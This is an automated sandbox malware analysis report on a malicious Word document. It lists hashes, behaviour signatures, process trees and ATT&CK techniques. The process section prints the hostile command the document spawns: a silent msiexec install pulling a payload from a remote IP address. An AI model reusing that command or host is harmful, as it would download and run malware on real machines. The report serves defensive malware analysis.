0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb

General

Target

0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc
Size

98KB
MD5

477e6a9efebdbf54f09d06ef8a29da79
SHA1

bc219e56929889acdf80cf692cd6b0d7a43b8207
SHA256

0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb
SHA512

e209d8fa97c11208bd570035ba90469f9dce9ef1a6916f97ec5932aa836313ef838fb9ab65c87abde7dcc34948354a951a2a3937aa4f13945e24b6081ba7d6c2

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

msiexec.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1976	2328	msiexec.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow pid process

31 3660 msiexec.exe
Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid process

1976 msiexec.exe

flow	pid	process
31	3660	msiexec.exe

pid	process
1976	msiexec.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2328 WINWORD.EXE
2328 WINWORD.EXE

pid	process
2328	WINWORD.EXE
2328	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 32 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	1976	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1976	msiexec.exe
Token: SeSecurityPrivilege	3660	msiexec.exe
Token: SeCreateTokenPrivilege	1976	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1976	msiexec.exe
Token: SeLockMemoryPrivilege	1976	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1976	msiexec.exe
Token: SeMachineAccountPrivilege	1976	msiexec.exe
Token: SeTcbPrivilege	1976	msiexec.exe
Token: SeSecurityPrivilege	1976	msiexec.exe
Token: SeTakeOwnershipPrivilege	1976	msiexec.exe
Token: SeLoadDriverPrivilege	1976	msiexec.exe
Token: SeSystemProfilePrivilege	1976	msiexec.exe
Token: SeSystemtimePrivilege	1976	msiexec.exe
Token: SeProfSingleProcessPrivilege	1976	msiexec.exe
Token: SeIncBasePriorityPrivilege	1976	msiexec.exe
Token: SeCreatePagefilePrivilege	1976	msiexec.exe
Token: SeCreatePermanentPrivilege	1976	msiexec.exe
Token: SeBackupPrivilege	1976	msiexec.exe
Token: SeRestorePrivilege	1976	msiexec.exe
Token: SeShutdownPrivilege	1976	msiexec.exe
Token: SeDebugPrivilege	1976	msiexec.exe
Token: SeAuditPrivilege	1976	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1976	msiexec.exe
Token: SeChangeNotifyPrivilege	1976	msiexec.exe
Token: SeRemoteShutdownPrivilege	1976	msiexec.exe
Token: SeUndockPrivilege	1976	msiexec.exe
Token: SeSyncAgentPrivilege	1976	msiexec.exe
Token: SeEnableDelegationPrivilege	1976	msiexec.exe
Token: SeManageVolumePrivilege	1976	msiexec.exe
Token: SeImpersonatePrivilege	1976	msiexec.exe
Token: SeCreateGlobalPrivilege	1976	msiexec.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

2328 WINWORD.EXE
2328 WINWORD.EXE
2328 WINWORD.EXE
2328 WINWORD.EXE
2328 WINWORD.EXE
2328 WINWORD.EXE
2328 WINWORD.EXE
2328 WINWORD.EXE

pid	process
2328	WINWORD.EXE
2328	WINWORD.EXE
2328	WINWORD.EXE
2328	WINWORD.EXE
2328	WINWORD.EXE
2328	WINWORD.EXE
2328	WINWORD.EXE
2328	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2328 wrote to memory of 1976	2328	WINWORD.EXE	msiexec.exe
PID 2328 wrote to memory of 1976	2328	WINWORD.EXE	msiexec.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2328

C:\Windows\SYSTEM32\msiexec.exe
msiexec /q step1=commonl step2=files /i http://185.140.248.17/ltm1
2⤵
- Process spawned unexpected child process
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:3660

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2328-115-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-116-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-117-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-118-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-119-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-122-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmp

Filesize
64KB

Download
memory/2328-123-0x00007FFE3ADD0000-0x00007FFE3ADE0000-memory.dmp

Filesize
64KB

Download
memory/2328-265-0x0000022B88C90000-0x0000022B88C94000-memory.dmp

Filesize
16KB

Download
memory/2328-344-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-345-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-346-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download
memory/2328-347-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads